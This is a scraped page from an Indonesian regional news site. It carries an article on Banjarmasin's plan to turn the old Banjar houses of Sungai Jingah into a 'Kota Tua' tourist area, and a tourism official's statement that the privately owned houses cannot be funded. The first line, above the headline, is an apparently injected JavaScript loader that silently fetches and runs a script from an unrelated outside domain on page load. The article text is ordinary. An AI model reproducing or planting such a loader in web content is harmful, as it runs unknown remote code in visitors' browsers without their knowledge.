(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Gagas Wisata Kota Tua, Tapi Pemko Malah “Angkat Tangan”


M. Khuzaimi, Kepala Bidang Pengembangan dan Pengelolaan Wisata

BANJARMASIN, Keberadaan rumah-rumah tua khas Banjar di kawasan Kampung Sungai Jingah, Banjarmasin Utara, cukup menarik wisatan. Walaupun kondisi di lapangan cukup memprihatinkan. Sebagian masih layak huni, sementara lainnya dalam keadaan tak terurus. Beberapa warga yang tinggal di kawasan tersebut, berharap ada andil pemerintah setempat untuk membantu melestarikan keberadaan rumah-rumah itu.

Melihat kondisi tersebut, Pemerintah Kota Banjarmasin berinisiatif menjadikan Sungai Jingah sebagai tempat wisata yang akan dijuluki Sungai Jingah Kota Tua. Dewan  Perwakilan Rakyat Daerah (DPRD) Kota Banjarmasin menyetujui usulan Pemerintah Kota Banjarmasin tersebut, kini hanya tinggal eksekusi dari Satuan Kerja Perangkat Dinas (SKPD) yaitu Dinas Pariwisata Kota Banjarmasin.

Namun, instansi terkait tidak bisa memberikan anggaran dalam menjalankan ekowisata tersebut. Semua disampaikan langsung oleh Kepala Bidang Pengembangan dan Pengelolaan Wisata, M. Khuzaimi.

Ia menilai bahwa Rumah Khas Banjar yang kini menjadi buah bibir tersebut merupakan aset pribadi masyarakat,  bukan milik pemerintah. “Itu milik masyarakat,  jadi sulit untuk kami anggarkan, ” ujarnya.

Menurutnya, Rumah Khas Banjar tersebut bisa dianggarkan apabila diusulkan menjadi sebuah cagar alam. “Apakah masyarakat mau itu diambil oleh pemerintah,”  ungkapnya.

Khuzaimi mengakui bahwa telah melakukan tahap awal yaitu pendataan rumah tua di seluruh Banjarmasin. Hasilnya, ada sekitar  110 buah rumah khas Banjar yang terdapat di lima Kecamatan dengan berbagai macam tipe yaitu Tipe Balai Bini, Balai Laki, Bubungan Tinggi,  Gajah Menyusu,  Palimbangan,  Tadah Alas, dan Palamasan.

“Untuk Banjarmasin Utara terdapat sekitar 45 rumah khas Banjar dengan tipe berbeda ” ungkapnya.

Menurutnya konsep ke depan akan segera mungkin melihat potensi rumah serta  melakukan evaluasi. Yakni, dengan melihat tingkat kerusakannya,  apakah masih bisa untuk dikelola atau tidak.

Menurut lelaki yang sering dipanggil Jimmy ini,  saat ini langkah konkret yang bisa dilakukan oleh Dinas Pariwisata adalah melakukan pembinaan kepada masyarakat tentang kesadaran potensi wisata di Sungai Jingah tersebut serta  memberikan semacam regulasi yang melegalitimasi setiap wisatawan yang berkunjung agar tempat tersebut dianggap resmi. “Ini bertujuan untuk meningkatkan ekonomi rakyat setempat, ” pungkasnya. ***


Desy Arfianty

Recent Posts

Desa Longkong Ikuti Lomba Posyandu, Ini Pesan Ketua TP PKK HSU

KANALKALIMANTAN.COM, AMUNTAI – Pos Pelayanan Terpadu (Posyandu) Mawar Desa Longkong, Kecamatan Danau Panggang, menjadi lokasi… Read More

34 menit ago

DPRD Banjarbaru Berikan 11 Evaluasi LKPj Wali Kota Tahun Anggaran 2024

KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru memberikan evaluasi terkait rekomendasi laporan… Read More

3 jam ago

Bupati Banjar Lantik 657 ASN dan PPPK 2024

KANALKALIMANTAN.COM, MARTAPURA - Kegembiraan terpancar dari raut wajah 27 CPNS dan 630 PPPK Tahun Anggaran… Read More

3 jam ago

Petugas Mulai Sortir Lipat Surat Suara Coblosan Ulang Pilwali Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Surat suara untuk Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarbaru… Read More

6 jam ago

Pemkab Gelar Pisah Sambut Kapolres Banjar, AKBP Dr Fadli Gantikan AKBP Ifan Hariyat

KANALKALIMANTAN.COM, MARTAPURA - Pisah sambut Kapolres Banjar dari AKBP M Ifan Hariyat kepada AKBP Dr… Read More

10 jam ago

Pemerintah Berikan Pemutihan Denda Pajak pada 2025, Ini Ketentuannya!

KANALKALIMANTAN.COM - Pemerintah kembali menghadirkan kebijakan pemutihan denda pajak sebagai langkah strategis untuk meningkatkan kepatuhan… Read More

11 jam ago

This website uses cookies.